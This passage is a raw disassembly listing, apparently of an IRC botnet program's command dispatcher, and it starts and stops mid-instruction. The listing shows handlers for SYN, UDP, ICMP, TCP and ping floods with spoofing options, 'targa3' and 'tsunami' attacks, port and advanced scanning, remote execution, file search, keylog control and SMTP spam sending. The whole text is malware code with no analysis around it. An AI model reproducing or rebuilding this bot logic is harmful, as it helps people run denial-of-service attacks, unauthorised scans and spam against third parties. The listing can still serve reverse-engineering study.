234h cmp eax, ebx mov dword_43DEF4[ecx], eax jz short loc_40600E loc_405FF8: ; CODE XREF: sub_401ACD+453Fj cmp [ebp+var_BCC], ebx jnz loc_40828B push 32h nop call near ptr 2670000h jmp short loc_405FF8 ; --------------------------------------------------------------------------- loc_40600E: ; CODE XREF: sub_401ACD+4529j nop call near ptr 2670914h push eax push offset dword_42AED0 jmp loc_4049EB ; --------------------------------------------------------------------------- loc_40601F: ; CODE XREF: sub_401ACD+43E4j push edi push offset aNet ; "net" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_40626F cmp dword_4CB074, ebx jz short loc_40604E cmp dword_4CB09C, ebx jz short loc_40604E push offset unk_42AE94 jmp loc_4085D5 ; --------------------------------------------------------------------------- loc_40604E: ; CODE XREF: sub_401ACD+456Dj ; sub_401ACD+4575j cmp [ebp+var_C], ebx jz loc_406CDE mov edi, [ebp+esi+var_88] mov [ebp+arg_0], ebx cmp edi, ebx jz short loc_406073 push edi push [ebp+var_C] call sub_41B900 pop ecx mov [ebp+arg_0], eax pop ecx loc_406073: ; CODE XREF: sub_401ACD+4596j push [ebp+arg_10] push offset aStart ; "start" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_4060C0 cmp edi, ebx jz short loc_406094 push [ebp+arg_0] push 3 jmp loc_406126 ; --------------------------------------------------------------------------- loc_406094: ; CODE XREF: sub_401ACD+45BBj push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_41895B add esp, 0Ch test eax, eax jz short loc_4060B6 push offset unk_42AE68 jmp loc_4085D5 ; --------------------------------------------------------------------------- loc_4060B6: ; CODE XREF: sub_401ACD+45DDj push offset unk_42AE48 jmp loc_4085D5 ; --------------------------------------------------------------------------- loc_4060C0: ; CODE XREF: sub_401ACD+45B7j push [ebp+arg_10] push offset aStop ; "stop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_4060DA push [ebp+arg_0] push 4 jmp short loc_406126 ; --------------------------------------------------------------------------- loc_4060DA: ; CODE XREF: sub_401ACD+4604j push [ebp+arg_10] push offset aPause ; "pause" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_4060F4 push [ebp+arg_0] push 5 jmp short loc_406126 ; --------------------------------------------------------------------------- loc_4060F4: ; CODE XREF: sub_401ACD+461Ej push [ebp+arg_10] push offset aContinue ; "continue" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_40610E push [ebp+arg_0] push 6 jmp short loc_406126 ; --------------------------------------------------------------------------- loc_40610E: ; CODE XREF: sub_401ACD+4638j push [ebp+arg_10] push offset aDelete ; "delete" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_406138 push [ebp+arg_0] push 1 loc_406126: ; CODE XREF: sub_401ACD+45C2j ; sub_401ACD+460Bj ... call sub_4186C1 pop ecx pop ecx loc_40612D: ; CODE XREF: sub_401ACD+46A1j ; sub_401ACD+4729j ... push eax push offset aS_1 ; "%s" jmp loc_406CCF ; --------------------------------------------------------------------------- loc_406138: ; CODE XREF: sub_401ACD+4652j push [ebp+arg_10] push offset aShare ; "share" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_40619D cmp edi, ebx jz short loc_406170 cmp [ebp+var_8FC], bl jz short loc_40615D push ebx push edi push 1 jmp short loc_406166 ; --------------------------------------------------------------------------- loc_40615D: ; CODE XREF: sub_401ACD+4688j push [ebp+esi+var_84] push edi push ebx loc_406166: ; CODE XREF: sub_401ACD+468Ej call sub_418A98 add esp, 0Ch jmp short loc_40612D ; --------------------------------------------------------------------------- loc_406170: ; CODE XREF: sub_401ACD+4680j push ebx push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_418C8E add esp, 10h test eax, eax jz short loc_406193 push offset unk_42AE00 jmp loc_4085D5 ; --------------------------------------------------------------------------- loc_406193: ; CODE XREF: sub_401ACD+46BAj push offset unk_42ADE0 jmp loc_4085D5 ; --------------------------------------------------------------------------- loc_40619D: ; CODE XREF: sub_401ACD+467Cj push [ebp+arg_10] push offset aUser ; "user" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_406228 cmp edi, ebx jz short loc_4061FB cmp [ebp+var_8FC], bl jz short loc_4061CE push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] push ebx push edi push 1 jmp short loc_4061EE ; --------------------------------------------------------------------------- loc_4061CE: ; CODE XREF: sub_401ACD+46EDj push [ebp+var_4] mov esi, [ebp+esi+var_84] cmp esi, ebx push [ebp+var_88] push [ebp+arg_4] jz short loc_4061EA push esi push edi push ebx jmp short loc_4061EE ; --------------------------------------------------------------------------- loc_4061EA: ; CODE XREF: sub_401ACD+4716j push ebx push edi push 2 loc_4061EE: ; CODE XREF: sub_401ACD+46FFj ; sub_401ACD+471Bj call sub_418DAF add esp, 18h jmp loc_40612D ; --------------------------------------------------------------------------- loc_4061FB: ; CODE XREF: sub_401ACD+46E5j push ebx push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_4192DF add esp, 10h test eax, eax jz short loc_40621E push offset unk_42ADB8 jmp loc_4085D5 ; --------------------------------------------------------------------------- loc_40621E: ; CODE XREF: sub_401ACD+4745j push offset unk_42AD98 jmp loc_4085D5 ; --------------------------------------------------------------------------- loc_406228: ; CODE XREF: sub_401ACD+46E1j push [ebp+arg_10] push offset aSend ; "send" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_406265 cmp edi, ebx jz short loc_40625B push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] push [ebp+arg_0] call sub_419593 add esp, 10h jmp loc_40612D ; --------------------------------------------------------------------------- loc_40625B: ; CODE XREF: sub_401ACD+4770j push offset unk_42AD6C jmp loc_4085D5 ; --------------------------------------------------------------------------- loc_406265: ; CODE XREF: sub_401ACD+476Cj push offset unk_42AD50 jmp loc_4085D5 ; --------------------------------------------------------------------------- loc_40626F: ; CODE XREF: sub_401ACD+4561j push edi push offset aCapture ; "capture" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408DFD push edi push offset aCap ; "cap" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408DFD push edi push offset aGethost ; "gethost" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408D09 push edi push offset aGh ; "gh" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408D09 loc_4062C3: ; CODE XREF: sub_401ACD+3CBDj ; sub_401ACD+3CECj ... mov edi, [ebp+esi+var_88] cmp edi, ebx mov [ebp+arg_1C], edi jz loc_401E94 push [ebp+arg_8] push offset aKilllog ; "killlog" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408CEF push [ebp+arg_8] push offset aKl ; "kl" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408CEF push [ebp+arg_8] push offset aAddalias ; "addalias" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408CAC push [ebp+arg_8] push offset aAa ; "aa" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408CAC push [ebp+arg_8] push offset aPrivmsg_0 ; "privmsg" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408C57 push [ebp+arg_8] push offset dword_42B534 call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408C57 push [ebp+arg_8] push offset aAction ; "action" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408BEA push [ebp+arg_8] push offset aA ; "a" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408BEA push [ebp+arg_8] push offset aCycle ; "cycle" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408B86 push [ebp+arg_8] push offset aCy ; "cy" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408B86 push [ebp+arg_8] push offset aMode ; "mode" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408B4A push [ebp+arg_8] push offset aM ; "m" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408B4A push [ebp+arg_8] push offset aC_raw ; "c_raw" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408ADB push [ebp+arg_8] push offset aC_r ; "c_r" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408ADB push [ebp+arg_8] push offset aC_mode ; "c_mode" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408A55 push [ebp+arg_8] push offset aC_m ; "c_m" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408A55 push [ebp+arg_8] push offset aC_nick ; "c_nick" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4089E5 push [ebp+arg_8] push offset aC_n ; "c_n" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4089E5 push [ebp+arg_8] push offset aC_join ; "c_join" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4089BF push [ebp+arg_8] push offset aC_j ; "c_j" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4089BF push [ebp+arg_8] push offset aC_part ; "c_part" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40895B push [ebp+arg_8] push offset aC_p ; "c_p" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40895B push [ebp+arg_8] push offset aTarga3 ; "targa3" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408886 push [ebp+arg_8] push offset aT3 ; "t3" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408886 push [ebp+arg_8] push offset aTsunami ; "tsunami" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40878B push [ebp+arg_8] push offset aTsn ; "tsn" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40878B push [ebp+arg_8] push offset aRepeat ; "repeat" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408687 push [ebp+arg_8] push offset aRp ; "rp" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408687 push [ebp+arg_8] push offset aDelay ; "delay" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4085E8 push [ebp+arg_8] push offset aDe ; "de" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4085E8 push [ebp+arg_8] push offset aJpDe100 ; "jp]de100" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408457 push [ebp+arg_8] push offset aJp10 ; "jp]10" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408457 push [ebp+arg_8] push offset aExecute ; "execute" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4083C4 push [ebp+arg_8] push offset aE ; "e" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4083C4 push [ebp+arg_8] push offset aFindfile ; "findfile" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4082B5 push [ebp+arg_8] push offset aFf ; "ff" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4082B5 push [ebp+arg_8] push offset aRename ; "rename" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40823E push [ebp+arg_8] push offset aMv ; "mv" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40823E push [ebp+arg_8] push offset aIcmpflood ; "icmpflood" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408141 push [ebp+arg_8] push offset aIcmp ; "icmp" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408141 mov eax, [ebp+esi+var_84] cmp eax, ebx mov [ebp+arg_0], eax jz loc_401E94 push [ebp+arg_8] push offset aClone_0 ; "clone" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408059 push [ebp+arg_8] push offset aC ; "c" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408059 push [ebp+arg_8] push offset aDdos_syn ; "ddos.syn" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407F60 push [ebp+arg_8] push offset aDdos_ack ; "ddos.ack" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407F60 push [ebp+arg_8] push offset aDdos_random ; "ddos.random" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407F60 push [ebp+arg_8] push offset aWisdom_udp ; "wisdom.udp" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_4067D6 push 7Fh lea eax, [ebp+var_327C] pop esi push esi push [ebp+arg_10] push eax call sub_41B5F0 push esi lea eax, [ebp+var_31FC] push edi push eax call sub_41B5F0 push esi lea eax, [ebp+var_317C] push [ebp+arg_0] push eax call sub_41B5F0 push esi lea eax, [ebp+var_30FC] push [ebp+var_88] push eax call sub_41B5F0 mov eax, [ebp+var_8] mov edi, [ebp+var_4] mov esi, [ebp+arg_4] mov [ebp+var_3074], eax push ebx lea eax, [ebp+var_2C4] push 13h push eax mov [ebp+var_3078], edi mov [ebp+var_3280], esi call sub_40B0F6 add esp, 3Ch mov [ebp+var_307C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_3280] push ebx push eax push offset word_4146CE push ebx push ebx nop call near ptr 267009Ch mov ecx, [ebp+var_307C] imul ecx, 234h cmp eax, ebx mov dword_43DEF4[ecx], eax jz short loc_4067C5 loc_4067AF: ; CODE XREF: sub_401ACD+4CF6j cmp [ebp+var_3070], ebx jnz loc_403DA0 push 32h call near ptr 2670000h nop jmp short loc_4067AF ; --------------------------------------------------------------------------- loc_4067C5: ; CODE XREF: sub_401ACD+4CE0j call near ptr 2670914h nop push eax push offset unk_42ABC0 jmp loc_403D91 ; --------------------------------------------------------------------------- loc_4067D6: ; CODE XREF: sub_401ACD+4C36j push [ebp+arg_8] push offset aSynflood ; "synflood" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407E78 push [ebp+arg_8] push offset aSyn ; "syn" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407E78 push [ebp+arg_8] push offset aSkysyn ; "skysyn" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_406903 push 7Fh lea eax, [ebp+var_36A4] pop esi push esi push [ebp+arg_10] push eax call sub_41B5F0 push esi lea eax, [ebp+var_3624] push edi push eax call sub_41B5F0 push esi lea eax, [ebp+var_35A4] push [ebp+arg_0] push eax call sub_41B5F0 push esi lea eax, [ebp+var_3524] push [ebp+var_88] push eax call sub_41B5F0 mov eax, [ebp+var_4] add esp, 30h mov esi, [ebp+arg_4] mov [ebp+var_34A0], eax push [ebp+arg_0] mov eax, [ebp+var_8] mov [ebp+var_349C], eax lea eax, [ebp+var_2C4] push edi mov [ebp+var_36A8], esi push [ebp+arg_10] push offset dword_42AB78 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 10h push eax call sub_40B0F6 add esp, 20h mov [ebp+var_34A4], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_36A8] push ebx push eax push offset word_413626 push ebx push ebx nop call near ptr 267009Ch mov ecx, [ebp+var_34A4] imul ecx, 234h cmp eax, ebx mov dword_43DEF4[ecx], eax jz short loc_4068F2 loc_4068DC: ; CODE XREF: sub_401ACD+4E23j cmp [ebp+var_3498], ebx jnz loc_407278 push 32h nop call near ptr 2670000h jmp short loc_4068DC ; --------------------------------------------------------------------------- loc_4068F2: ; CODE XREF: sub_401ACD+4E0Dj call near ptr 2670914h nop push eax push offset dword_42AB3C jmp loc_407269 ; --------------------------------------------------------------------------- loc_406903: ; CODE XREF: sub_401ACD+4D48j push [ebp+arg_8] push offset aPhatwonk ; "phatwonk" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407D90 push [ebp+arg_8] push offset aWonk ; "wonk" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407D90 push [ebp+arg_8] push offset aJpldg10 ; "jpldg10" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407C52 push [ebp+arg_8] push offset aJpl10 ; "jpl10" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407C52 push [ebp+arg_8] push offset aRedirect ; "redirect" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407B55 push [ebp+arg_8] push offset aRd ; "rd" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407B55 push [ebp+arg_8] push offset aScan ; "scan" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407A62 push [ebp+arg_8] push offset aSc ; "sc" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407A62 push [ebp+arg_8] push offset aC_privmsg ; "c_privmsg" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40795D push [ebp+arg_8] push offset aC_pm ; "c_pm" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40795D push [ebp+arg_8] push offset aC_action ; "c_action" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407865 push [ebp+arg_8] push offset aC_a ; "c_a" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407865 mov eax, [ebp+esi+var_80] cmp eax, ebx mov [ebp+arg_18], eax jz loc_401E94 push [ebp+arg_8] push offset aPortscan ; "portscan" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40775F push [ebp+arg_8] push offset aPsc ; "psc" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40775F push [ebp+arg_8] push offset aAdvscan ; "advscan" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407298 push [ebp+arg_8] push offset aAsc ; "asc" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407298 push [ebp+arg_8] push offset aUdpflood ; "udpflood" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40714F push [ebp+arg_8] push offset aUdp ; "udp" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40714F push [ebp+arg_8] push offset aU ; "u" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40714F push [ebp+arg_8] push offset aNetsend ; "netsend" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407041 push [ebp+arg_8] push offset aNs ; "ns" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407041 push [ebp+arg_8] push offset aPingflood ; "pingflood" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_406F17 push [ebp+arg_8] push offset aPing_0 ; "ping" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_406F17 push [ebp+arg_8] push offset aP ; "p" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_406F17 push [ebp+arg_8] push offset aTcpflood ; "tcpflood" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_406D6E push [ebp+arg_8] push offset aTcp ; "tcp" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_406D6E push [ebp+arg_8] push offset aEmail ; "email" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_406D16 push [ebp+arg_10] lea eax, [ebp+var_47EC] push eax call sub_41BEB0 push edi call sub_41B779 push [ebp+arg_0] mov [ebp+arg_10], eax lea eax, [ebp+var_4188] push eax call sub_41BEB0 push [ebp+arg_18] lea eax, [ebp+var_4588] push eax call sub_41BEB0 push offset asc_42CA64 ; " " push offset dword_42B530 push [ebp+esi+var_7C] call sub_417EEE push eax lea eax, [ebp+var_4288] push eax call sub_41BEB0 add esp, 30h lea eax, [ebp+var_5588] push eax push 101h call dword_4CAF14 lea eax, [ebp+var_47EC] push eax call dword_4CB028 push 6 push 1 push 2 mov edi, eax call dword_4CB024 push [ebp+arg_10] mov esi, eax mov [ebp+var_31C], 2 mov eax, [edi+0Ch] mov eax, [eax] mov eax, [eax] mov [ebp+var_318], eax call dword_4CAFA4 mov [ebp+var_31A], ax lea eax, [ebp+var_4288] push eax lea eax, [ebp+var_4188] push eax lea eax, [ebp+var_4288] push eax lea eax, [ebp+var_4588] push eax lea eax, [ebp+var_4188] push eax lea eax, [ebp+var_5988] push offset aHeloRndnickMai ; "helo $rndnick\nmail from: <%s>\nrcpt to: "... push eax call sub_41B886 add esp, 1Ch lea eax, [ebp+var_31C] push 10h push eax push esi call dword_4CAF4C mov edi, 100h push ebx lea eax, [ebp+var_4088] push edi push eax push esi call dword_4CAFBC lea eax, [ebp+var_4088] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_5988] push eax push esi call dword_4CAFF4 push ebx lea eax, [ebp+var_4088] push edi push eax push esi call dword_4CAFBC push esi call dword_4CB03C call dword_4CAEFC lea eax, [ebp+var_4588] push eax push offset unk_42A9FC loc_406CCF: ; CODE XREF: sub_401ACD+2E82j ; sub_401ACD+4666j ... lea eax, [ebp+var_2C4] push eax call sub_41B886 loc_406CDB: ; CODE XREF: sub_401ACD+248Bj add esp, 0Ch loc_406CDE: ; CODE XREF: sub_401ACD+4584j ; sub_401ACD+6653j ... cmp [ebp+var_8], ebx jnz short loc_406CFF push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 14h loc_406CFF: ; CODE XREF: sub_401ACD+29B2j ; sub_401ACD+2A05j ... mov esi, [ebp+arg_24] loc_406D02: ; CODE XREF: sub_401ACD+68F2j ; sub_401ACD+78E2j ... lea eax, [ebp+var_2C4] push eax call sub_4151AC pop ecx mov eax, esi jmp loc_401E97 ; --------------------------------------------------------------------------- loc_406D16: ; CODE XREF: sub_401ACD+50ACj push [ebp+arg_8] push offset aHttpcon ; "httpcon" call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_406D40 push [ebp+arg_8] push offset aHcon ; "hcon" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_4072E8 loc_406D40: ; CODE XREF: sub_401ACD+525Aj push [ebp+esi+var_7C] push [ebp+arg_18] push [ebp+arg_0] push edi call sub_41B779 pop ecx push eax push [ebp+arg_10] push [ebp+var_8] push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_4100DB jmp loc_4040AA ; --------------------------------------------------------------------------- loc_406D6E: ; CODE XREF: sub_401ACD+507Ej ; sub_401ACD+5095j push [ebp+arg_10] mov esi, 80h lea eax, [ebp+var_1354] push esi push eax call sub_41B980 lea eax, [ebp+var_1354] push eax push offset aSyn ; "syn" call sub_41C070 add esp, 14h test eax, eax jz short loc_406DD3 lea eax, [ebp+var_1354] push eax push offset aAck ; "ack" call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_406DD3 lea eax, [ebp+var_1354] push eax push offset aRandom_0 ; "random" call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_406DD3 push offset unk_42A9B4 jmp loc_406F04 ; --------------------------------------------------------------------------- loc_406DD3: ; CODE XREF: sub_401ACD+52CCj ; sub_401ACD+52E3j ... push [ebp+arg_18] call sub_41B779 cmp eax, ebx pop ecx mov [ebp+var_124C], eax jle loc_406EFF push [ebp+arg_10] lea eax, [ebp+var_1354] push esi push eax call sub_41B980 add esp, 0Ch lea eax, [ebp+var_13D4] push edi push esi push eax call sub_41B980 push [ebp+arg_0] call sub_41B779 mov [ebp+var_1250], eax add esp, 10h xor eax, eax cmp [ebp+var_8EE], bl push [ebp+var_88] setnz al mov [ebp+var_1248], eax mov eax, [ebp+arg_4] mov [ebp+var_13D8], eax lea eax, [ebp+var_12D4] push esi push eax call sub_41B980 mov eax, [ebp+var_4] add esp, 0Ch cmp [ebp+var_1248], ebx mov [ebp+var_1244], eax mov eax, [ebp+var_8] mov [ebp+var_1240], eax mov eax, offset aSpoofed ; "Spoofed" jnz short loc_406E70 mov eax, offset aNormal ; "Normal" loc_406E70: ; CODE XREF: sub_401ACD+539Cj push [ebp+arg_18] push [ebp+arg_0] push edi push [ebp+arg_10] push eax push offset unk_42A970 lea eax, [ebp+var_2C4] push 200h push eax call sub_41B980 push ebx lea eax, [ebp+var_2C4] push 14h push eax call sub_40B0F6 add esp, 2Ch mov [ebp+var_1254], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_13D8] push ebx push eax push offset byte_413E35 push ebx push ebx nop call near ptr 267009Ch mov ecx, [ebp+var_1254] imul ecx, 234h cmp eax, ebx mov dword_43DEF4[ecx], eax jz short loc_406EEE loc_406ED8: ; CODE XREF: sub_401ACD+541Fj cmp [ebp+var_123C], ebx jnz loc_40828B push 32h call near ptr 2670000h nop jmp short loc_406ED8 ; --------------------------------------------------------------------------- loc_406EEE: ; CODE XREF: sub_401ACD+5409j nop call near ptr 2670914h push eax push offset unk_42A938 jmp loc_4049EB ; --------------------------------------------------------------------------- loc_406EFF: ; CODE XREF: sub_401ACD+5317j push offset unk_42A900 loc_406F04: ; CODE XREF: sub_401ACD+2018j ; sub_401ACD+202Ej ... lea eax, [ebp+var_2C4] push eax call sub_41B886 pop ecx pop ecx jmp loc_40828B ; --------------------------------------------------------------------------- loc_406F17: ; CODE XREF: sub_401ACD+5039j ; sub_401ACD+5050j ... cmp dword_4CB094, ebx jnz loc_407026 mov eax, [ebp+var_8] push 7Fh push [ebp+arg_10] mov [ebp+var_FF4], eax mov eax, [ebp+var_4] mov [ebp+var_FF8], eax lea eax, [ebp+var_108C] push eax call sub_41B5F0 push edi call sub_41B779 push [ebp+arg_0] mov [ebp+var_100C], eax call sub_41B779 push [ebp+arg_18] mov [ebp+var_1008], eax call sub_41B779 push 7Fh mov [ebp+var_1004], eax push [ebp+var_88] lea eax, [ebp+var_110C] push eax call sub_41B5F0 mov eax, [ebp+arg_4] add esp, 24h mov [ebp+var_1110], eax lea eax, [ebp+var_108C] push [ebp+var_1004] push [ebp+var_1008] push eax lea eax, [ebp+var_2C4] push [ebp+var_100C] push offset unk_42A8B8 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 16h push eax call sub_40B0F6 add esp, 24h mov [ebp+var_FFC], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_1110] push ebx push eax push offset dword_413284 push ebx push ebx call near ptr 267009Ch nop mov ecx, [ebp+var_FFC] imul ecx, 234h cmp eax, ebx mov dword_43DEF4[ecx], eax jz short loc_407015 loc_406FFF: ; CODE XREF: sub_401ACD+5546j cmp [ebp+var_FF0], ebx jnz loc_40828B push 32h nop call near ptr 2670000h jmp short loc_406FFF ; --------------------------------------------------------------------------- loc_407015: ; CODE XREF: sub_401ACD+5530j call near ptr 2670914h nop push eax push offset unk_42A880 jmp loc_4049EB ; --------------------------------------------------------------------------- loc_407026: ; CODE XREF: sub_401ACD+5450j push 1FFh lea eax, [ebp+var_2C4] push offset aIcmp_dllNotAva ; "ICMP.dll not available" push eax call sub_41B5F0 jmp loc_408288 ; --------------------------------------------------------------------------- loc_407041: ; CODE XREF: sub_401ACD+500Bj ; sub_401ACD+5022j push edi lea eax, [ebp+var_2C4] push [ebp+arg_10] push [ebp+arg_0] push offset unk_42A82C push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 push [ebp+arg_0] call sub_41AFE0 mov edx, eax push edi mov edi, edx call sub_41AFE0 push [ebp+arg_10] add edi, eax call sub_41AFE0 push [ebp+arg_8] add edi, eax call sub_41AFE0 add eax, [ebp+var_C] push [ebp+arg_18] lea eax, [eax+edi+7] push eax call sub_41B900 add esp, 40h mov [ebp+arg_C], eax push [ebp+arg_0] call sub_41B779 mov edi, [ebp+arg_1C] cmp eax, ebx pop ecx mov [ebp+arg_14], eax mov [ebp+arg_20], ebx jle short loc_40713B loc_4070C4: ; CODE XREF: sub_401ACD+561Bj push [ebp+arg_C] push edi push [ebp+arg_10] call sub_4185A4 add esp, 0Ch cmp eax, 1 mov [ebp+arg_1C], eax jz short loc_4070EC cmp eax, ebx jnz short loc_40710B inc [ebp+arg_20] mov eax, [ebp+arg_20] cmp eax, [ebp+arg_14] jl short loc_4070C4 jmp short loc_407144 ; --------------------------------------------------------------------------- loc_4070EC: ; CODE XREF: sub_401ACD+560Cj push ebx push [ebp+var_4] push offset unk_42A7F4 loc_4070F5: ; CODE XREF: sub_401ACD+5680j push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 14h jmp loc_4072E8 ; --------------------------------------------------------------------------- loc_40710B: ; CODE XREF: sub_401ACD+5610j push [ebp+arg_1C] lea eax, [ebp+var_2C4] push offset unk_42A7C0 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 20h loc_40713B: ; CODE XREF: sub_401ACD+55F5j cmp [ebp+arg_1C], ebx jnz loc_4072E8 loc_407144: ; CODE XREF: sub_401ACD+561Dj push ebx push [ebp+var_4] push offset unk_42A78C jmp short loc_4070F5 ; --------------------------------------------------------------------------- loc_40714F: ; CODE XREF: sub_401ACD+4FC6j ; sub_401ACD+4FDDj ... mov eax, [ebp+var_8] push 7Fh push [ebp+arg_10] mov [ebp+var_C64], eax mov eax, [ebp+var_4] mov [ebp+var_C68], eax lea eax, [ebp+var_CFC] push eax call sub_41B5F0 push edi call sub_41B779 push [ebp+arg_0] mov [ebp+var_C7C], eax call sub_41B779 push [ebp+arg_18] mov [ebp+var_C78], eax call sub_41B779 mov esi, [ebp+esi+var_7C] add esp, 18h cmp esi, ebx mov [ebp+var_C74], eax jz short loc_4071B4 push esi call sub_41B779 pop ecx mov [ebp+var_C70], eax jmp short loc_4071BA ; --------------------------------------------------------------------------- loc_4071B4: ; CODE XREF: sub_401ACD+56D6j mov [ebp+var_C70], ebx loc_4071BA: ; CODE XREF: sub_401ACD+56E5j push 7Fh lea eax, [ebp+var_D7C] push [ebp+var_88] push eax call sub_41B5F0 add esp, 0Ch mov esi, [ebp+arg_4] lea eax, [ebp+var_CFC] mov [ebp+var_D80], esi push [ebp+var_C74] push [ebp+var_C78] push eax lea eax, [ebp+var_2C4] push [ebp+var_C7C] push offset unk_42A744 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 17h push eax call sub_40B0F6 add esp, 24h mov [ebp+var_C6C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_D80] push ebx push eax push offset dword_413410 push ebx push ebx nop call near ptr 267009Ch mov ecx, [ebp+var_C6C] imul ecx, 234h cmp eax, ebx mov dword_43DEF4[ecx], eax jz short loc_40725D loc_40724B: ; CODE XREF: sub_401ACD+578Ej cmp [ebp+var_C60], ebx jnz short loc_407278 push 32h nop call near ptr 2670000h jmp short loc_40724B ; --------------------------------------------------------------------------- loc_40725D: ; CODE XREF: 